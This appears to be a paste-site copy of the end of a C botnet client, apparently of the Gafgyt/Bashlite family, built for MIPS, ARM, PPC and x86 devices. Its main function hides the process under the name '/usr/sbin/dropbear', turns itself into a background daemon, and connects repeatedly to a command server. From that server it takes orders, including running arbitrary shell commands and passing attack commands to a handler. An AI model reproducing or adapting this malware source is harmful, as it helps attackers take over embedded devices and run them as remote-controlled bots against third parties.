  1684.  
  1685. char *getBuild()
  1686. {
  1687. #ifdef MIPS_BUILD
  1688. return "MIPS";
  1689. #elif MIPSEL_BUILD
  1690. return "MIPSEL";
  1691. #elif X86_BUILD
  1692. return "X86";
  1693. #elif ARM_BUILD
  1694. return "ARM";
  1695. #elif PPC_BUILD
  1696. return "PPC";
  1697. #else
  1698. return "RAZER";
  1699. #endif
  1700. }
  1701.  
  1702. int main(int argc, unsigned char *argv[])
  1703. {
  1704. char *mynameis = "/usr/sbin/dropbear";
  1705. if(SERVER_LIST_SIZE <= 0) return 0;
  1706. printf("BUILD %s\n", getBuild());
  1707. strncpy(argv[0],"",strlen(argv[0]));
  1708. argv[0] = "/usr/sbin/dropbear";
  1709. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1710. srand(time(NULL) ^ getpid());
  1711. init_rand(time(NULL) ^ getpid());
  1712. pid_t pid1;
  1713. pid_t pid2;
  1714. int status;
  1715.  
  1716. getOurIP();
  1717.  
  1718. if (pid1 = fork()) {
  1719. waitpid(pid1, &status, 0);
  1720. exit(0);
  1721. } else if (!pid1) {
  1722. if (pid2 = fork()) {
  1723. exit(0);
  1724. } else if (!pid2) {
  1725. } else {
  1726. //zprintf("fork failed\n");
  1727. }
  1728. } else {
  1729. //zprintf("fork failed\n");
  1730. }
  1731.  
  1732. setsid();
  1733. chdir("/");
  1734.  
  1735. signal(SIGPIPE, SIG_IGN);
  1736.  
  1737. while(1)
  1738. {
  1739. if(initConnection()) { sleep(5); continue; }
  1740.  
  1741. sockprintf(mainCommSock, "BUILD %s", getBuild());
  1742.  
  1743. char commBuf[4096];
  1744. int got = 0;
  1745. int i = 0;
  1746. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1747. {
  1748. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1749. unsigned int *newpids, on;
  1750. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1751. pids[on - 1] = 0;
  1752. numpids--;
  1753. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1754. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1755. free(pids);
  1756. pids = newpids;
  1757. }
  1758.  
  1759. commBuf[got] = 0x00;
  1760.  
  1761. trim(commBuf);
  1762.  
  1763. if(strstr(commBuf, "PING") == commBuf)
  1764. {
  1765. sockprintf(mainCommSock, "PONG");
  1766. continue;
  1767. }
  1768.  
  1769. if(strstr(commBuf, "DUPPP") == commBuf) exit(0);
  1770.  
  1771. unsigned char *message = commBuf;
  1772.  
  1773. if(*message == '!')
  1774. {
  1775. unsigned char *nickMask = message + 1;
  1776. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1777. if(*nickMask == 0x00) continue;
  1778. *(nickMask) = 0x00;
  1779. nickMask = message + 1;
  1780.  
  1781. message = message + strlen(nickMask) + 2;
  1782. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1783.  
  1784. unsigned char *command = message;
  1785. while(*message != ' ' && *message != 0x00) message++;
  1786. *message = 0x00;
  1787. message++;
  1788.  
  1789. unsigned char *tmpcommand = command;
  1790. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1791.  
  1792. if(strcmp(command, "SH") == 0)
  1793. {
  1794. unsigned char buf[1024];
  1795. int command;
  1796. if (listFork()) continue;
  1797. memset(buf, 0, 1024);
  1798. szprintf(buf, "%s 2>&1", message);
  1799. command = fdpopen(buf, "r");
  1800. while(fdgets(buf, 1024, command) != NULL)
  1801. {
  1802. trim(buf);
  1803. // sockprintf(mainCommSock, "%s", buf);
  1804. memset(buf, 0, 1024);
  1805. sleep(1);
  1806. }
  1807. fdpclose(command);
  1808. exit(0);
  1809. }
  1810.  
  1811. unsigned char *params[10];
  1812. int paramsCount = 1;
  1813. unsigned char *pch = strtok(message, " ");
  1814. params[0] = command;
  1815.  
  1816. while(pch)
  1817. {
  1818. if(*pch != '\n')
  1819. {
  1820. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1821. memset(params[paramsCount], 0, strlen(pch) + 1);
  1822. strcpy(params[paramsCount], pch);
  1823. paramsCount++;
  1824. }
  1825. pch = strtok(NULL, " ");
  1826. }
  1827.  
  1828. processCmd(paramsCount, params);
  1829.  
  1830. if(paramsCount > 1)
  1831. {
  1832. int q = 1;
  1833. for(q = 1; q < paramsCount; q++)
  1834. {
  1835. free(params[q]);
  1836. }
  1837. }
  1838. }
  1839. }
  1840. //printf("Link closed by server.\n");
  1841. }
  1842.  
  1843. return 0;
  1844. }
Advertisement
Add Comment
Please, Sign In to add comment